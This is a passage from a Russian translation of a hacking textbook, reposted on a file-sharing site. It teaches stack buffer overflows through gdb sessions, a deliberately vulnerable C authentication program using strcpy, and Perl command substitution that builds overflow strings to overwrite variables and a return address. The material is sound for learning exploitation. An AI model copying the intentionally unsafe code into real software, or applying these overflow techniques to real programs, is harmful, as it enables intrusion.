Главная страница
Навигация по странице:

  • 0x08049744 0xbffff7b8 0x080482d9 0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8

  • 0x080484b3 : mov DWORD PTR [esp],eax 0x080484b6 : call 0x8048414

  • 0x08048414 : push ebp 0x08048415 : mov ebp,esp 0x08048417 : sub esp,0x38 ...

  • 0x08049744 0xbffff7b8 0x080482d9 0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000 0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4

  • 0xbffff7c0 0x080485dc 0xbffff7b8 0x080482d9 0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000 0xbffff7c0: 0x41414141 0x41414141 0x41414141 0x41414141

  • 0x330 Эксперименты с BASH

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница17 из 51
    1   ...   13   14   15   16   17   18   19   20   ...   51

    148
    0x300 Эксплойты
    19 int main(int argc, char *argv[]) {
    20 if(argc < 2) {
    (gdb) break 9
    Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9.
    (gdb) break 16
    Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16.
    (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Starting program: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Breakpoint 1, check_authentication (password=0xbffff9b7 ‘A’ ) at auth_overflow2.c:9 9 strcpy(password_buffer, password);
    (gdb) x/s password_buffer
    0xbffff7c0: “?o??\200????????o???G??\020\205\004\
    b?????\204\004\b????\020\205\004\
    bH???????\002”
    (gdb) x/x &auth_flag
    0xbffff7bc: 0x00000000
    (gdb) x/16xw &auth_flag
    0xbffff7bc: 0x00000000 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xbffff7cc: 0xb7fd6ff4 0xb7ff47b0 0x08048510 0xbffff7e8 0xbffff7dc: 0x080484bb 0xbffff9b7 0x08048510 0xbffff848 0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880
    (gdb)
    Зададим точки останова аналогичным образом и убедимся, что auth_
    flag
    (выделена выше и ниже полужирным) располагается в памяти раньше, чем password_buffer. Это означает, что auth_flag не может быть затерта переполнением буфера password_buffer.
    (gdb) cont
    Continuing.
    Breakpoint 2, check_authentication (password=0xbffff9b7 ‘A’ ) at auth_overflow2.c:16 16 return auth_flag;
    (gdb) x/s password_buffer
    0xbffff7c0: ‘A’
    (gdb) x/x &auth_flag
    0xbffff7bc: 0x00000000
    (gdb) x/16xw &auth_flag
    0xbffff7bc: 0x00000000 0x41414141 0x41414141 0x41414141 0xbffff7cc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7dc: 0x08004141 0xbffff9b7 0x08048510 0xbffff848 0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880
    (gdb)
    Как и ожидалось, переполнение не влияет на переменную auth_flag, потому что она находится перед буфером. Но есть еще одна точка для управления программой, даже если вы не видите ее в коде C. Обыч- но она располагается в стеке после всех переменных, поэтому ее легко изменить. Это неотъемлемая часть памяти при выполнении всех про-

    0x320 Переполнение буфера
    149
    грамм – она есть во всех программах, и если ее затереть, программа скорее всего аварийно завершит работу.
    (gdb) c
    Continuing.
    Program received signal SIGSEGV, Segmentation fault.
    0x08004141 in ?? ()
    (gdb)
    Вспомним по предыдущей главе, что стек – это один из пяти сегментов памяти, используемых программами. Стек представляет собой струк- туру данных типа FILO и служит для сохранения потока управления и контекста локальных переменных при вызове функций. Когда вызы- вается функция, в стек проталкивается структура под названием кадр
    стека, а в регистр EIP загружается адрес первой команды вызывае- мой функции. В каждом кадре стека хранятся локальные переменные функции и адрес возврата, чтобы можно было восстановить значение
    EIP. По завершении работы функции кадр стека выталкивается из сте- ка, а значение EIP восстанавливается с помощью адреса возврата. Все это часть архитектуры и обычно служит предметом забот компилято- ра, а не программиста.
    Когда вызывается функция check_authentication(), новый кадр стека проталкивается в стек за кадром стека функции main(). В этом кадре располагаются локальные переменные, адрес возврата и аргументы функции (рис. 3.1).
    Сохраненный указатель кадра (SFP)
    Адрес возврата (ret)
    *password (аргумент функции)
    Kадр стека функции main()
    Переменная password_buffer
    Переменная return_value
    Рис. 3.1. Новый кадр в стеке
    Все эти элементы можно увидеть с помощью отладчика.
    reader@hacking:

    /booksrc $ gcc -g auth_overflow2.c reader@hacking:/booksrc $ gdb -q ./a.out
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.

    150
    0x300 Эксплойты
    (gdb) list 1 1 #include
    2 #include
    3 #include
    4 5 int check_authentication(char *password) {
    6 char password_buffer[16];
    7 int auth_flag = 0;
    8 9 strcpy(password_buffer, password);
    10
    (gdb)
    11 if(strcmp(password_buffer, “brillig”) == 0)
    12 auth_flag = 1;
    13 if(strcmp(password_buffer, “outgrabe”) == 0)
    14 auth_flag = 1;
    15 16 return auth_flag;
    17 }
    18 19 int main(int argc, char *argv[]) {
    20 if(argc < 2) {
    (gdb)
    21 printf(“Usage: %s
    \n”, argv[0]);
    22 exit(0);
    23 }
    24 if(check_authentication(argv[1])) {
    25 printf(“\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n”);
    26 printf(“ Access Granted.\n”);
    27 printf(“-=-=-=-=-=-=-=-=-=-=-=-=-=-\n”);
    28 } else {
    29 printf(“\nAccess Denied.\n”);
    30 }
    (gdb) break 24
    Breakpoint 1 at 0x80484ab: file auth_overflow2.c, line 24.
    (gdb) break 9
    Breakpoint 2 at 0x8048421: file auth_overflow2.c, line 9.
    (gdb) break 16
    Breakpoint 3 at 0x804846f: file auth_overflow2.c, line 16.
    (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Starting program: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Breakpoint 1, main (argc=2, argv=0xbffff874) at auth_overflow2.c:24 24 if(check_authentication(argv[1])) {
    (gdb) i r esp esp 0xbffff7e0 0xbffff7e0
    (gdb) x/32xw $esp
    0xbffff7e0: 0xb8000ce0 0x08048510 0xbffff848 0xb7eafebc
    0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898 0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848

    0x320 Переполнение буфера
    151
    0xbffff820: 0x40f5f7f0 0x48e0fe81 0x00000000 0x00000000 0xbffff830: 0x00000000 0xb7ff9300 0xb7eafded 0xb8000ff4 0xbffff840: 0x00000002 0x08048350 0x00000000 0x08048371 0xbffff850: 0x08048474 0x00000002 0xbffff874 0x08048510
    (gdb)
    Первая точка останова располагается прямо перед обращением к check_
    authentication()
    в функции main(). Здесь регистр указателя стека (ESP) содержит 0xbffff7e0, и мы видим вершину стека. Все это входит в кадр стека main(). Продолжив выполнение до следующей точки останова внутри check_authentication(), мы увидим, что ESP уменьшился, так как он переместился вверх по памяти, чтобы выделить место для кадра стека check_authentication() (выделен полужирным), который теперь находится в стеке. Выяснив адреса переменной auth_flag 1 и перемен- ной password_buffer 2, можно посмотреть их содержимое в кадре стека.
    (gdb) c
    Continuing.
    Breakpoint 2, check_authentication (password=0xbffff9b7 ‘A’ ) at auth_overflow2.c:9 9 strcpy(password_buffer, password);
    (gdb) i r esp esp 0xbffff7a0 0xbffff7a0
    (gdb) x/32xw $esp
    0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9
    0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 1 0x00000000 0xbffff7c0: 2
    0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4
    0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 0x080484bb
    0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc
    0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898 0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848
    (gdb) p 0xbffff7e0 - 0xbffff7a0
    $1 = 64
    (gdb) x/s password_buffer
    0xbffff7c0: “?o??\200????????o???G??\020\205\004\
    b?????\204\004\b????\020\205\004\
    bH???????\002”
    (gdb) x/x &auth_flag
    0xbffff7bc: 0x00000000
    (gdb)
    Продолжив работу до второй точки останова внутри check_authentica- tion()
    , видим, что кадр стека (выделен полужирным) проталкивается в стек при вызове этой функции. Поскольку стек наращивается вверх по направлению к младшим адресам памяти, указатель стека теперь уменьшился на 64 байта и равен 0xbffff7a0. Размер и структура сте- ка могут сильно различаться в зависимости от функции и некоторых оптимизаций компилятора. Например, первые 24 байта этого кадра стека представляют собой просто заполнение, вставленное компилято-

    152
    0x300 Эксплойты ром. Локальные переменные стека auth_flag и password_buffer видны в кадре стека по соответствующим адресам. Переменная auth_flag 1 находится по адресу 0xbffff7bc, а 16 байт буфера памяти 2 расположе- ны по адресу 0xbffff7c0.
    Кадр стека состоит не из одних лишь локальных переменных и запол- нения. Ниже показаны элементы кадра стека check_authentication().
    Сначала идет память, отведенная локальным переменным (выделена курсивом). Она начинается с переменной auth_flag по адресу 0xbffff-
    7bc и продолжается до конца 16-байтной переменной password_buffer.
    Следующие несколько значений в стеке – это заполнение, вставленное компилятором, а также нечто под названием сохраненный указатель
    кадра. Если для оптимизации компилировать программу с флагом
    -fomit-frame-pointer
    , то в кадре стека не будет указателя на кадр. В 3 находится 0x080484bb – адрес возврата для этого кадра стека, а в 4 –
    0xbffffe9b7
    – указатель на строку, в которой записано 30 символов A.
    Это аргумент, с которым вызвана функция check_authentication().
    (gdb) x/32xw $esp
    0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9
    0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000
    0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4
    0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 3
    0x080484bb
    0xbffff7e0: 4 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc
    0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898 0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848
    (gdb) x/32xb 0xbffff9b7 0xbffff9b7: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff9bf: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff9c7: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff9cf: 0x41 0x41 0x41 0x41 0x41 0x41 0x00 0x53
    (gdb) x/s 0xbffff9b7 0xbffff9b7: ‘A’
    (gdb)
    Адрес возврата в кадре стека можно найти, если понимать, как форми- руется кадр стека. Это процесс начинается в функции main() еще до вы- зова функции.
    (gdb) disass main
    Dump of assembler code for function main:
    0x08048474 : push ebp
    0x08048475 : mov ebp,esp
    0x08048477 : sub esp,0x8 0x0804847a : and esp,0xfffffff0 0x0804847d : mov eax,0x0 0x08048482 : sub esp,eax
    0x08048484 : cmp DWORD PTR [ebp+8],0x1 0x08048488 : jg 0x80484ab
    0x0804848a : mov eax,DWORD PTR [ebp+12]

    0x320 Переполнение буфера
    153
    0x0804848d : mov eax,DWORD PTR [eax]
    0x0804848f : mov DWORD PTR [esp+4],eax
    0x08048493 : mov DWORD PTR [esp],0x80485e5 0x0804849a : call 0x804831c
    0x0804849f : mov DWORD PTR [esp],0x0 0x080484a6 : call 0x804833c
    0x080484ab : mov eax,DWORD PTR [ebp+12]
    0x080484ae : add eax,0x4 0x080484b1 : mov eax,DWORD PTR [eax]
    0x080484b3 : mov DWORD PTR [esp],eax
    0x080484b6 : call 0x8048414
    0x080484bb : test eax,eax
    0x080484bd : je 0x80484e5
    0x080484bf : mov DWORD PTR [esp],0x80485fb
    0x080484c6 : call 0x804831c
    0x080484cb : mov DWORD PTR [esp],0x8048619 0x080484d2 : call 0x804831c
    0x080484d7 : mov DWORD PTR [esp],0x8048630 0x080484de : call 0x804831c
    0x080484e3 : jmp 0x80484f1
    0x080484e5 : mov DWORD PTR [esp],0x804864d
    0x080484ec : call 0x804831c
    0x080484f1 : leave
    0x080484f2 : ret
    End of assembler dump.
    (gdb)
    Обратите внимание на две строки, выделенные полужирным. В этом месте регистр EAX содержит указатель на первый аргумент командной строки. Это также аргумент check_authentication(). Первая из двух ко- манд ассемблера записывает в EAX адрес, на который указывает ESP
    (вершина стека). С него начинается кадр стека для check_authentica- tion()
    с аргументом функции. Вторая команда является фактическим вызовом. Она помещает в стек адрес следующей команды и записывает в регистр указателя команды (EIP) адрес начала функции check_authen- tication()
    . Адрес, проталкиваемый в стек, это адрес возврата для кадра стека. В данном случае адрес следующей команды 0x080484bb, он и бу- дет адресом возврата.
    (gdb) disass check_authentication
    Dump of assembler code for function check_authentication:
    0x08048414 : push ebp
    0x08048415 : mov ebp,esp
    0x08048417 : sub esp,0x38
    ...
    0x08048472 : leave
    0x08048473 : ret
    End of assembler dump.
    (gdb) p 0x38

    154
    0x300 Эксплойты
    $3 = 56
    (gdb) p 0x38 + 4 + 4
    $4 = 64
    (gdb)
    После изменения EIP выполнение продолжается в функции check_au- thentication()
    , и первые несколько команд (выше выделены полужир- ным) завершают выделение памяти для кадра стека. Они называются
    прологом функции. Первые две команды касаются сохраненного указа- теля кадра, а третья вычитает 0x38 из значения ESP. Так для локаль- ных переменных функции выделяется 56 байт. Адрес возврата и со- храненный указатель кадра уже находятся в стеке, чем и объясняются дополнительные 8 байт 64-байтного кадра стека.
    По завершении работы функции команды leave и ret удаляют кадр стека и записывают в регистр указателя команды (EIP) хранившийся в стеке адрес возврата 1. В результате выполнение программы пере- ходит к следующей команде в main() после вызова функции по адре- су 0x080484bb. Такая процедура осуществляется при вызове функции в любой программе.
    (gdb) x/32xw $esp
    0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9
    0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000
    0xbffff7c0: 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4
    0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 1
    0x080484bb
    0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc
    0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898 0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848
    (gdb) cont
    Continuing.
    Breakpoint 3, check_authentication (password=0xbffff9b7 ‘A’ )
    at auth_overflow2.c:16 16 return auth_flag;
    (gdb) x/32xw $esp
    0xbffff7a0: 0xbffff7c0 0x080485dc 0xbffff7b8 0x080482d9
    0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000
    0xbffff7c0: 0x41414141 0x41414141 0x41414141 0x41414141
    0xbffff7d0: 0x41414141 0x41414141 0x41414141 2
    0x08004141
    0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc
    0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898 0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848
    (gdb) cont
    Continuing.
    Program received signal SIGSEGV, Segmentation fault.
    0x08004141 in ?? ()
    (gdb)

    0x330 Эксперименты с BASH
    155
    Если какие-то байты сохраненного адреса возврата окажутся измене- ны
    2
    , программа попытается использовать это новое значение, чтобы восстановить регистр указателя команд (EIP). Обычно при этом про- исходит аварийное завершение, поскольку осуществляется переход по случайному адресу. Но его значение не всегда случайно. Управляя этим значением, можно задать переход по некоторому конкретному адресу. Но куда бы нам хотелось перенаправить выполнение?
    0x330 Эксперименты с BASH
    Поскольку хакинг в значительной мере состоит из эксплойтов и экс- периментов, очень важно иметь возможность быстро опробовать те или иные вещи. Оболочка BASH и Perl есть на большинстве машин, они предоставляют все необходимое для проведения опытов с экс- плойтами.
    Perl – интерпретируемый язык программирования, команда print ко- торого очень удобна для создания длинных последовательностей сим- волов. Perl позволяет организовать выполнение инструкций в команд- ной строке с помощью ключа -e:
    reader@hacking:/booksrc $ perl -e ‘print “A” x 20;’
    AAAAAAAAAAAAAAAAAAAA
    Эта команда указывает Perl, что надо выполнить команды, заключен- ные в одинарные кавычки, в данном случае единственную команду
    ‘print “A” x 20;’
    . Эта команда 20 раз выводит символ A.
    Любой символ, в том числе неотображаемый, можно напечатать с по- мощью комбинации \x##, где ## – шестнадцатеричный код символа.
    В следующем примере этот способ применяется для вывода символа A
    (его шестнадцатеричный код 0x41).
    reader@hacking:/booksrc $ perl -e ‘print “\x41” x 20;’
    AAAAAAAAAAAAAAAAAAAA
    Кроме того, Perl выполняет конкатенацию строк с помощью символа точки (.). Это удобно для записи нескольких адресов в одну строку.
    reader@hacking:/booksrc $ perl -e ‘print “A”x20 . “BCD” .
    “\x61\x66\x67\x69”x2 . “Z”;’
    AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ
    Команду оболочки можно выполнять как функцию, возвращая ее ре- зультат по месту. Для этого нужно заключить команду в круглые скоб- ки и поместить перед ними символ доллара. Вот два примера:
    reader@hacking:/booksrc $ $(perl -e ‘print “uname”;’)
    Linux reader@hacking:/booksrc $ una$(perl -e ‘print “m”;’)e
    Linux reader@hacking:/booksrc $

    156
    0x300 Эксплойты
    В обоих случаях команду заменяют данные, выводимые заключенной в скобки командой, и выполняется команда uname. Такого же эффек- та подстановки команды можно достичь с помощью обратной кавычки
    ( ` , символ выглядит как наклоненная одинарная кавычка и находит- ся на одной клавише с тильдой). Можно пользоваться тем синтакси- сом, который кажется вам более естественным, хотя обычно легче чи- тается синтаксис с круглыми скобками.
    reader@hacking:/booksrc $ u`perl -e ‘print “na”;’`me
    Linux reader@hacking:/booksrc $ u$(perl -e ‘print “na”;’)me
    Linux reader@hacking:/booksrc $
    С помощью подстановки команд и Perl можно быстро создавать пере- полнение буфера. Такой прием позволяет легко протестировать про- грамму overflow_example.c с буферами разного размера.
    reader@hacking:/booksrc $ ./overflow_example $(perl -e ‘print “A”x30’)
    [BEFORE] buffer_two is at 0xbffff7e0 and contains ‘two’
    [BEFORE] buffer_one is at 0xbffff7e8 and contains ‘one’
    [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
    [STRCPY] copying 30 bytes into buffer_two
    [AFTER] buffer_two is at 0xbffff7e0 and contains ‘AAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAA’
    [AFTER] buffer_one is at 0xbffff7e8 and contains ‘AAAAAAAAAAAAAAAAAAAAAA’
    [AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141)
    Segmentation fault (core dumped)
    reader@hacking:/booksrc $ gdb -q
    (gdb) print 0xbffff7f4 - 0xbffff7e0
    $1 = 20
    (gdb) quit reader@hacking:/booksrc $ ./overflow_example $(perl -e ‘print “A”x20 .
    “ABCD”’)
    [BEFORE] buffer_two is at 0xbffff7e0 and contains ‘two’
    [BEFORE] buffer_one is at 0xbffff7e8 and contains ‘one’
    [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
    [STRCPY] copying 24 bytes into buffer_two
    [AFTER] buffer_two is at 0xbffff7e0 and contains ‘AAAAAAAAAAAAAAAAAAAAABCD’
    [AFTER] buffer_one is at 0xbffff7e8 and contains ‘AAAAAAAAAAAAABCD’
    [AFTER] value is at 0xbffff7f4 and is 1145258561 (0x44434241)
    reader@hacking:/booksrc $
    В этом выводе GDB использован как шестнадцатеричный калькулятор для получения расстояния между buffer_two (0xbfffff7e0) и переменной value
    (0xbffff7f4 ), которое оказывается равным 20 байтам. Зная это рас- стояние, можно записать в переменную value точное значение 0x44434241,

    0x330 Эксперименты с BASH
    1   ...   13   14   15   16   17   18   19   20   ...   51


    написать администратору сайта